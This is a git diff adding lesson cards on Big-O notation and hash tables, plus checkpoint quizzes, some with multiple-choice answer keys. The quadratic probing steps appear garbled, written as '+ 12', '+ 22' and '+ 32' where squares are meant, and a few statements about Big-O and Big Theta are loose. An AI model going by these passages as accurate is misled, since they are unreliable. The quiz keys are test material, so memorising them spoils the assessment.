+ for i in row:
+ sum += i
+ for row in keypad:
+ for i in row:
+ sum += i
+ while sum <= 100:
+ sum += 1
+ return sum
+```
+
+Notice that we doubled the amount of *for loops* in our function. We have to account for that when writing `listInList2` as a function of time. Since we have extra lines in our code, we need to add a term to our **Time(Input)** expression. To account for a double for loop, we can simply add another **n^2 * c2** to our **Time(Input) expression**.
+
+$$
+T(I) = c1 + (c2 * n^2) + (c2 * n^2) + (c3 * n) + c4
+$$
+
+
+The fastest growing term is **n^2 * c2** but we have two of them. Since **n^2 * c2** corresponds to **O(n^2)**, we are left with:
+
+**Time(Input) = O(n^2) + O(n^2)**
+
+This can simply be rewritten as:
+
+**Time(Input) = 2 * O(n^2)**
+
+It might be intuitive to think that our function written in **Big-O notation** would be **2 * O(n^2)** or even **O(2n^2)**, but we have to remember that **Big-O notation only tells us what time a function grows in**. **O(n^2)** and **O(2n^2)** both grow in the same fashion, quadratic, so we can simply write the function as **O(n^2)**.
+
+It is very important to remember that Big-O notation is determined by the fastest growing term as `n` gets very large. When n is small, c3 * n will grow faster than c2 * n^2. **Big-O notation is determined when n is very large** because time and space complexities focus on when inputs are very large; not small.
+
+
+
+### Time expressed in Big-O Notation
+
+| Time | Big O Notation |
+| ---------------- | -------------- |
+| Constant Time | O(1) |
+| Linear Time | O(n) |
+| Quadratic Time | O(n^2) |
+| Logarithmic Time | O(log n) |
+| Factorial Time | O(n!) |
+
+In the table, there are some other times you should know of. The graph lists the growth of functions from slowest to fastest. A function in **O(1)**'s runtime grows the slowest, and a function in **O(n!)** grows the fastest. Needless to say, we want our functions to be **constant or linear time.**
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/9.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/9.md
new file mode 100755
index 00000000..c7cb59e2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/9.md
@@ -0,0 +1,24 @@
+These are the official names of **Big-O** notation. They are all relatively similar, but are terms with their own unique purpose. The **Big O** we have been talking about this entire time is formally known as **Big Theta**. In the work and the industry, **Big Theta** is referred to as simply **Big O**. To avoid confusion, from now on, **Big Theta** will refer to the workplace Big-O and **Big (O)** will be the formal definition.
+
+#### What are they?
+
+**Big (O)** is the upper bound of a function. It describes a function whose curve on a graph, at least after a certain point on the x-axis (input size), will always be higher on the y-axis (time) than the curve of the runtime.
+
+To explain in simpler terms, let's say I have a chocolate bar. I give you half of the chocolate bar. Then I will have half of the chocolate is leftover. With the chocolate bar I have left over I give you another half and I keep repeating this process.
+
+ Theoretically, this could go on forever, however if you add them all up you know that they will add up to one chocolate bar i.e it will **converge** to 1. We can set an *upper bound* for how much chocolate you have to be 1; we have just applied the **Big (O)** concept. No matter how long this exchange goes on for, I will always be holding onto some tiny bit of the chocolate. The amount of chocolate that you have won't actually be the entire bar, but you may be very close to it!
+
+We could have chosen our upper bound to be as high as we want. Let it be 1 million and we can say for 100% certainty that we won't be wrong. However, this isn't very useful because we are allowing such a wide range which is why it is best if we try to establish the smallest range possible.
+
+Let's apply this concept to Computer Science terms.
+
+Let's say that `functionA` runs in **O(n^2) time**. If we compare it to `functionB` , which runs in **O(n!)** time, we know that `functionA`'s runtime will never exceed `functionB`'s runtime.
+
+
+
+You can see the runtime of **O(n)** never exceeds the runtime of **O(n!)**
+
+##### Why is this useful?
+
+In the absolute worst case scenario, we know the ceiling of `functionA`'s runtime. We are then able to prepare for it and ensure that our computer or hardware will be able to handle running the function.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/checkpoints/4-Checkpoint.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/checkpoints/4-Checkpoint.md
new file mode 100644
index 00000000..6f232843
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/checkpoints/4-Checkpoint.md
@@ -0,0 +1,87 @@
+# name
+Time Complexity
+
+# cards_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/
+
+# checkpoint_type
+Multiple Choice
+
+# instruction
+Select the correct time complexity for the given codes
+
+```python
+print("Fibonacci sequence:")
+while count < nterms:
+ print(n1)
+ nth = n1 + n2
+ # update values
+ n1 = n2
+ n2 = nth
+ count += 1
+```
+
+# mc_choices
+## choice_1
+linear
+## choice_2
+constant
+## choice_3
+quadratic
+# correct choice
+linear
+
+
+```python
+def bubbleSort(arr):
+ n = len(arr)
+# Traverse through all array elements
+ for i in range(n):
+
+ # Last i elements are already in place
+ for j in range(0, n-i-1):
+
+ # traverse the array from 0 to n-i-1
+ # Swap if the element found is greater
+ # than the next element
+ if arr[j] > arr[j+1] :
+ arr[j], arr[j+1] = arr[j+1], arr[j]
+```
+
+# mc_choices
+## choice_1
+linear
+## choice_2
+constant
+## choice_3
+quadratic
+# correct choice
+quadratic
+
+
+
+```python
+num = int(input("Enter a number: "))
+if (num % 2) == 0:
+print("{0} is Even number".format(num))
+else:
+print("{0} is Odd number".format(num))
+```
+
+# mc_choices
+
+## choice_1
+
+linear
+
+## choice_2
+
+constant
+
+## choice_3
+
+quadratic
+
+# correct choice
+
+constant
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/checkpoints/6-Checkpoint.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/checkpoints/6-Checkpoint.md
new file mode 100644
index 00000000..2a20ac47
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/checkpoints/6-Checkpoint.md
@@ -0,0 +1,14 @@
+# name
+Big-O, Big Theta and Big Omega
+
+# cards_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/
+
+# checkpoint_type
+Short Answer
+
+# instruction
+Answer the following question in a few lines
+
+Please differentiate between Big O and Big Theta. What is their purpose?
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/images/Time.jpg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/images/Time.jpg
new file mode 100644
index 00000000..487476b9
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/images/Time.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/README.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/README.md
new file mode 100644
index 00000000..be8dba86
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/README.md
@@ -0,0 +1,179 @@
+# github_id
+2
+
+# name
+Hash Tables
+
+# description
+Learn about the basics of Dictionaries and Hash Tables
+
+# summary
+Learn about hash Tables and how to use Hash Functions. Also learn about the implementation of Hash functions in Python by using dictionaries. The usage and implementation of Dictionaries in Python is then explained.
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/
+
+# cards
+
+## 1
+
+### name
+Hash Tables
+
+### order
+1
+
+### gems
+20
+
+## 2
+
+### name
+Hashing
+
+### order
+2
+
+### gems
+15
+
+## 3
+
+### name
+Hash Functions
+
+### order
+3
+
+### gems
+15
+
+## 4
+
+### name
+Need for a Hash Function
+
+### order
+4
+
+### gems
+20
+
+## 5
+
+### name
+Hash Collisions
+
+### order
+5
+
+### gems
+15
+
+## 6
+
+### name
+Separate Chaining
+
+### order
+6
+
+### gems
+20
+
+## 7
+
+### name
+Open Addressing
+
+### order
+7
+
+### gems
+20
+
+## 8
+
+### name
+Collision Methods
+
+### order
+
+8
+
+### gems
+15
+
+## 9
+
+### name
+Linear Probing
+
+### order
+
+9
+
+### gems
+15
+
+## 10
+
+### name
+
+Quadratic Probing
+
+### order
+
+10
+
+### gems
+
+15
+
+## 11
+
+### name
+
+Double Hashing
+
+### order
+
+11
+
+### gems
+
+15
+
+## 12
+
+### name
+
+Hash Tables in Python
+
+### order
+
+12
+
+### gems
+
+15
+
+## 13
+
+### name
+
+Interview Question: Hash Tables
+
+### order
+
+13
+
+### gems
+
+15
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/1.md
new file mode 100644
index 00000000..af84d1d3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/1.md
@@ -0,0 +1,16 @@
+**Hash tables** are a type of data structure in which the address (index value) of the data element is generated from a hash function.
+
+A **hash function** is any function that can be used to map data of arbitrary size to fixed-size values. The values returned by a hash function are called **hash values**.
+
+The values are used to index a fixed-size table which is the Hash table. Use of a hash function to index a hash table is called **hashing**.
+
+
+
+Let's start out with an example on how they work. Let's say you're at an ice skating rink, and you swap your shoes for ice skates. They take your shoes, put them in a shoe box that includes your size, and give you the ice skates you requested as well as a token which has the size (hash) and the shoe pair number (element in the hash box). When you return your ice skates, the employee doesn't have to search through every box to find you shoes. They simply look at token!
+
+This data structure makes accessing data in this structure much faster as the index value behaves as a **key** for the data value. In other words, a Hash table stores key-value pairs but the key is generated through a hashing function.
+
+ Thus, the search and insertion function of a data element becomes much faster as the key values themselves become the index of the array, which stores the data. In comparison, when accessing data from a structure such as a linked list, one would have to loop through the list until the desired data is acquired. If you wished to find the last element in the list, you would have to go through the *entire* list! This is never the case for a hash table.
+
+ Detailed information about **Hashing** and **Hash function** will be displayed in 2.md.
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/10.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/10.md
new file mode 100644
index 00000000..6bae1e13
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/10.md
@@ -0,0 +1,17 @@
+### Quadratic Probing
+
+Another collision method, similar to linear probing, is **quadratic probing**. Instead of using a constant “skip” value, we use a rehash function that increments the hash value by 1, 3, 5, 7, 9, and so on. This means that if the first hash value is *h*, the successive values are ℎ+1, ℎ+4, ℎ+9, ℎ+16, and so on. In other words, quadratic probing uses a skip consisting of successive perfect squares.
+
+Let us assume that the hashed index for an entry is **index** and at **index** there is an occupied slot. The probe sequence will be as follows:
+
+index = index % hashTableSize
+index = (index + 12) % hashTableSize
+index = (index + 22) % hashTableSize
+index = (index + 32) % hashTableSize
+
+and so on...
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/11.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/11.md
new file mode 100644
index 00000000..483ef2f4
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/11.md
@@ -0,0 +1,14 @@
+### Double Hashing
+
+Double hashing is similar to the other two collision menthods, the only difference being the interval between successive probes. Here, the interval between probes is computed by using two separate hash functions when there is a collision.
+
+Let us say that the hashed index for an entry record is an index that is computed by one hashing function, but the slot at that index is already occupied. You must start traversing in a specific probing sequence to look for an unoccupied slot. The probing sequence will be:
+
+index = (index + 1 * indexH) % hashTableSize;
+index = (index + 2 * indexH) % hashTableSize;
+
+and so on…
+
+It uses one hash value as an index into the table and then repeatedly steps forward an interval until the desired value is located, an empty location is reached, or the entire table has been searched; but this interval is set by a second, independent hash function. Unlike the alternative collision-resolution methods of linear probing and quadratic probing, the interval is not fixed, and instead it depends on the data. Thus values mapping to the same location have different bucket sequences; this minimizes repeated collisions.
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/12.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/12.md
new file mode 100644
index 00000000..fe760684
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/12.md
@@ -0,0 +1,13 @@
+# Hash Tables in Python
+
+As you now know, Hash tables are a type of data structure in which the address or the index value of the data element is generated from a hash function, allowing us to store key-value pairs with this index as the key.
+
+The search and insertion function of a data element becomes much faster as the key values themselves become the index of the array which stores the data, meaning we simply have to use the hash function to find the location of an element.
+
+When we talk about **hash tables**, we can think of them as a type of **dictionary**. In Python, the Dictionary data type can be used for implementation of hash tables. The Keys in the dictionary satisfy the following requirements.
+
+- The keys of the dictionary are hashable i.e. the are generated by hashing function which generates unique result for each unique value supplied to the hash function.
+- The order of data elements in a dictionary is not fixed.
+
+Thus the object type dictionary can be used to create a hash table.
+Dictionaries won't be covered extensively in this activity, but this an interesting piece of information to take note of.
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/13.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/13.md
new file mode 100644
index 00000000..75628a12
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/13.md
@@ -0,0 +1,39 @@
+### Interview Question for Hash Tables ###
+
+**Prompt**: Given a string, find the length of the longest substring without repeating characters.
+
+**Example Output**:
+
+Input: "abcabcbb"
+Output: 3
+Explanation: The answer is "abc", with the length of 3.
+
+**Solution**:
+
+Concept:
+The idea on how to approach this problem is to define the appropriate mapping of each character in your string based on it's index.
+This would skip repeated characters in the string to improve the run time of this algorithm. This would result of a time complexity of O(n), a space complexity for the Hashmap of O(min(m,n)), and a space complexity for the table of O(m) * m.
+
+
+
+ Code:
+
+ ```python
+ def lengthOfLongestSubstring(self, s: 'str') -> 'int':
+ maxlen = 0
+ currentlen = 0
+ indHash = {}
+ leftside = -1
+ ls = len(s)
+ for ind, ch in enumerate(s):
+ if (ch in indHash) and (leftside < indHash[ch]):
+ leftside = indHash[ch];
+ currentlen = ind - leftside;
+ if currentlen > maxlen:
+ maxlen = currentlen
+ indHash[ch] = ind
+ currentlen = ls - leftside - 1
+ if currentlen > maxlen:
+ maxlen = currentlen
+ return maxlen
+ ```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/2.md
new file mode 100644
index 00000000..578d8530
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/2.md
@@ -0,0 +1,16 @@
+**Hashing** is a technique that is used to uniquely identify a specific object from a group of similar objects. Some examples of how hashing is used in our lives include:
+
+- In universities, each student is assigned a unique roll number that can be used to retrieve information about them.
+
+- In libraries, each book is assigned a unique number that can be used to determine information about the book, such as its exact position in the library or the users it has been issued to etc.
+
+
+In both these examples the students and books were hashed to a unique number.
+
+Assume that you have an object and you want to assign a key to it to make searching easy. To store the key/value pair, you can use a simple array like a data structure where keys (integers) can be used directly as an index to store values. However, in cases where the keys are large and cannot be used directly as an index, you should use *hashing*.
+
+To truly appreciate hashing, one must have a basic understanding of Big-O notation and time complexity of algorithms, which you may have learned in the previous activity. Understanding Big-O notation allows one to know the worst-case time performance of certain algorithms or operations on a data structure, which can be important for a programmer in deciding which data structure to use.
+
+For our purposes, we will focus on **O(1)** time, which is Big-O notation for constant time. This means that the time that an algorithm takes to perform a certain procedure is **independent** of the size of the input.
+
+1.
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/3.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/3.md
new file mode 100644
index 00000000..6e5ecfa1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/3.md
@@ -0,0 +1,34 @@
+## Hash function
+
+In hashing, large keys are converted into small keys by using **hash functions**. The values are then stored in a data structure called a **hash table**. The idea of hashing is to distribute entries (key/value pairs) uniformly across an array. Each element is assigned a key (converted key). By using that key you can access the element in **O(1)** time. **O(1)** in this context means that data can be accessed in constant time, regardless of how large our Hash Table is! Using the key, the algorithm (hash function) computes an index that suggests where an entry can be found or inserted.
+
+The image below will show you an example about how hashing itself works.
+
+
+
+
+Hashing is implemented in two steps:
+
+1. An element is given an integer by using a hash function. This integer can be used as an index to store and access the original element, which falls into the hash table.
+
+2. The element is stored in the hash table where it can be quickly retrieved using hashed key.
+
+ hash = hashfunc(key)
+ index = hash % array_size
+
+After performing these two steps, the hash is independent of the array size and it is then reduced to an index (a number between 0 and array_size − 1) by using the modulo operator (%). How can you can map data sets to each other no matter the size? That's where the hash function comes in.
+
+> Reminder, the modulo operator (%) has two arguments and returns the remainder after division between the two numbers.
+
+**Hash function**
+A hash function is any function that can be used to map a data set of an arbitrary size to a data set of a fixed size, which falls into the hash table. The values returned by a hash function are called hash values, hash codes, hash sums, or simply hashes.
+
+To achieve a good hashing mechanism, It is important to have a good hash function with the following basic requirements:
+
+1. Easy to compute: It should be easy to compute and must not become an algorithm in itself.
+
+2. Uniform distribution: It should provide a uniform distribution across the hash table and should not result in clustering.
+
+3. Less collisions: Collisions occur when pairs of elements are mapped to the same hash value. These should be avoided.
+
+ **Note**: Irrespective of how good a hash function is, collisions are bound to occur. Therefore, to maintain the performance of a hash table, it is important to manage collisions through various collision resolution techniques.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/4.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/4.md
new file mode 100644
index 00000000..e392bc97
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/4.md
@@ -0,0 +1,52 @@
+# Need for a Good Hash Function
+
+Let's understand the need for a good hash function. Assume that you have to store strings in the hash table by using the hashing technique {“abcdef”, “bcdefa”, “cdefab” , “defabc” }.
+
+To compute the index for storing the strings, use a hash function that states the following:
+
+The index for a specific string will be equal to the sum of the ASCII values of the characters modulo 599.
+
+As 599 is a prime number, it will reduce the possibility of indexing different strings (collisions). It is recommended that you use prime numbers in case of modulo. The ASCII values of a, b, c, d, e, and f are 97, 98, 99, 100, 101, and 102 respectively. Since all the strings contain the same characters with different permutations, the sum will 599.
+
+
+
+However, by using this hash function, it will compute the same index for all the strings. The strings will be stored in the hash table in the following format. As the index of all the strings is the same, you can create a list on that index and insert all the strings in that list.
+
+
+
+
+* *
+
+| ASCII Value | Letter |
+| ----------- | ------ |
+| 97 | a |
+| 98 | b |
+| 99 | c |
+| 100 | d |
+| 101 | e |
+| 102 | f |
+> Chart for Ascii Values
+
+Since all the elements are stored at the same index, it will take **O(n)** time (where n is the number of strings) to access a specific string. This hash function is not a good hash function!
+
+Let’s try a different hash function. The index for a specific string will be equal to sum of ASCII values of characters multiplied by their respective order in the string after which it is modulo with 2069 (prime number).
+
+String Hash function Index
+abcdef (97*1 + 98*2 + 99*3 + 100*4 + 101*5 + 102*6)%2069 38
+bcdefa (98*1 + 99*2 + 100*3 + 101*4 + 102*5 + 97*6)%2069 23
+cdefab (99*1 + 100*2 + 101*3 + 102*4 + 97*5 + 98*6)%2069 14
+defabc (100*1 + 101*2 + 102*3 + 97*4 + 98*5 + 99*6)%2069 11
+
+
+
+>Calculating the value for 'abcdef'.
+>a = 97 * 1 // It is in the first position
+>b = 98*2 // it is in the second position
+>c = 99*3 // It is in the third position
+>d = 100*4 // It is in the fourth position
+>e = 101*5 // it is in the fifth position
+>f = 102*6 // It is in the sixth position
+
+Using this hash function, accessing elements will only be **O(1)** time.
+Overall, when implementing a hash table, you want to create the best hash function that can hash the values in your list in the most efficient time and avoid elements which are hashed to the same index. Elements which are hashed to the same index are considered **collisions**, which we will discuss in the next section.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/5.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/5.md
new file mode 100644
index 00000000..aa40d2cc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/5.md
@@ -0,0 +1,28 @@
+# Hash Collisions
+
+The purpose of a hash table is to assign each key to a unique slot, but sometimes it is possible that two keys will generate an identical hash causing both keys to point to the same slots. These are known as **hash collisions**.
+
+> A bucket is simply a fast-access location (like an array index) that is the the result of the hash function.
+
+
+
+The figure shows incidences of **collisions** in different table locations. We'll assign strings as our input data: `[John, Janet, Mary, Martha, Claire, Jacob, and Philip]`.
+
+Our hash table size is 6. As the strings are evaluated at input through the hash functions, they are assigned index keys `(0, 1, 2, 3, 4, or 5)`. We store the first string `John`, then `Janet` and `Mary`. However, when we try to store `Martha`, the hash function assigns `Martha` the same index key as `Janet`.
+
+Now, because a second value is attempting to map to an already occupied index key, a **collision** occurs. Three out of the six locations are occupied, and the probability that the remaining strings will cause other **collisions** is very high.
+
+
+
+How do we handle these collisions? When two items hash to the same slot, we must have a systematic method for placing the second item in the hash table. This process is called **collision resolution**.
+
+
+
+### How to handle Collisions?
+
+There are mainly two methods to handle collision:
+
+- 1) Separate Chaining
+- 2) Open Addressing
+
+We will elaborate further on these concepts in the following cards.
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/6.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/6.md
new file mode 100644
index 00000000..c54cdc7d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/6.md
@@ -0,0 +1,24 @@
+# Separate Chaining
+
+In this card, we will exploring **separate chaining**.
+In **separate chaining**, each bucket is independent, and has a **list** of entries with the same index. In other words, it's a method by which lists of values are built in association with each location within the hash table when a collision occurs.
+
+As each index key is built with a linked list, this means that the table's cells have linked lists governed by the same hash function. In place of the collision error in the figure from the last section, the cell now contains a linked list with the string 'Janet' and 'Martha' as seen in this new figure. We can see in this figure how the subsequent strings are loaded using the separate chaining technique.
+
+
+
+
+
+### Advantages:
+1) Simple to implement.
+2) Hash table never fills up, we can always add more elements to the chain.
+3) Less sensitive to the hash function or load factors.
+4) It is mostly used when it is unknown how many and how frequently keys may be inserted or deleted.
+
+> A load factor is simply the ratio of entries in the hash table to the size of the array.
+
+### Disadvantages:
+1) Cache performance of chaining is not good as keys are stored using a linked list. Open addressing provides better cache performance as everything is stored in the same table.
+2) Waste of space (some parts of the hash table are never used).
+3) If the chain becomes long, then search time can become O(n) in the worst case.
+4) Uses extra space for links.
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/7.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/7.md
new file mode 100644
index 00000000..b41ad848
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/7.md
@@ -0,0 +1,25 @@
+### Open Addressing
+
+The **open addressing** method has all the hash keys stored in a fixed length table. With this method a hash collision is resolved by **probing**, or searching through alternate locations in the array (the *probe sequence*) until either the target record is found, or an unused array slot is found, which indicates that there is no such key in the table.
+
+We use a hash function to determine the base address of a key and then use a specific rule to handle a collision. Each location in the table is either empty, occupied or deleted.
+- **Empty** is the default state of all spaces in the table before any data is ever stored.
+- **Occupied** means that there is currently a key-value pair stored in the location.
+- **Deleted** means there was once a value stored in the space, but it has been marked deleted. Although deleted positions are treated the same as empty positions for the insert operations, those deleted positions are treated as occupied when doing data retrieval.
+
+
+Below are the basic process of inserting a new key (*k*) using open addressing:
+
+1. Compute the position in the table where *k* should be stored.
+
+2. If the position is empty or deleted, store *k* in that position.
+
+3. If the position is occupied, compute an alternative position based on some defined hash function.
+
+The alternative position can be calculated using:
+
+- **linear probing:** distance between probes is constant (i.e. 1, when probe examines consequent slots);
+- **quadratic probing:** distance between probes increases by certain constant at each step (in this case distance to the first slot depends on step number quadratically);
+- **double hashing:** distance between probes is calculated using another hash function.
+
+> A probe is simply the distance from your the current position that is being search to the previous position.
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/8.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/8.md
new file mode 100644
index 00000000..31b3cb0d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/8.md
@@ -0,0 +1,5 @@
+# Collision Methods
+
+We're going to learn about methods we use to insert a value in our slot for the hash table by dividing (moduling) the index value by the hashtable size. This produces the remainder for the division, which is used as the index of insertion. Then finally, we will insert our index value to it's assigned slot. If that slot's full, we will look for available slots until the hash table gets full using different **collision methods**.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/9.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/9.md
new file mode 100644
index 00000000..69658410
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/9.md
@@ -0,0 +1,19 @@
+### Linear Probing
+
+By systematically visiting each slot one at a time, we are performing an open addressing technique called **linear probing**. When the hash function causes a collision by mapping a new key to a cell of the hash table that is already occupied by another key, linear probing searches the table for the closest free location and inserts the new key there. Lookups are performed in the same way, by searching the table sequentially starting at the position given by the hash function, until finding a cell with a matching key or an empty cell.
+
+Considering the interval between successive probes is fixed (usually to 1), let’s assume that the hashed index for a particular entry is **index**. The probing sequence for linear probing will be:
+
+index = index % hashTableSize
+index = (index + 1) % hashTableSize
+index = (index + 2) % hashTableSize
+index = (index + 3) % hashTableSize
+
+and so on...
+
+Lets say that we have a list of phone numbers and we're trying to assign them correctly to each person based on their area code, but two people are from the same area code. This is where linear probing comes into play.
+
+
+
+> The collision between John Smith and Sandra Dee (both hashing to cell 873) is resolved by placing Sandra Dee at the next free location, cell 874.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/checkpoints/3-Checkpoint.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/checkpoints/3-Checkpoint.md
new file mode 100644
index 00000000..fece6d68
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/checkpoints/3-Checkpoint.md
@@ -0,0 +1,12 @@
+# name
+Core Concepts of Hash Tables
+
+# cards_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/
+
+# instruction
+Explain what is a hash table; how it is implemented, what makes a good hashing mechanism, and what purpose does this data structure serve for storing values?
+
+# checkpoint_type
+Short Answer
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/checkpoints/7-Checkpoint.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/checkpoints/7-Checkpoint.md
new file mode 100644
index 00000000..6f95f34a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/checkpoints/7-Checkpoint.md
@@ -0,0 +1,12 @@
+# name
+The process of inserting a new key through Open Addressing and Separate Chaining
+
+# cards_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/cards/
+
+# instruction
+Explain the process of inserting a new key through Open Addressing and Separate chaining. How are they different? What causes collisions, and how do these methods prevent them?
+
+# checkpoint_type
+Short Answer
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/Double_Hashing_Example.jpeg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/Double_Hashing_Example.jpeg
new file mode 100644
index 00000000..f3833aac
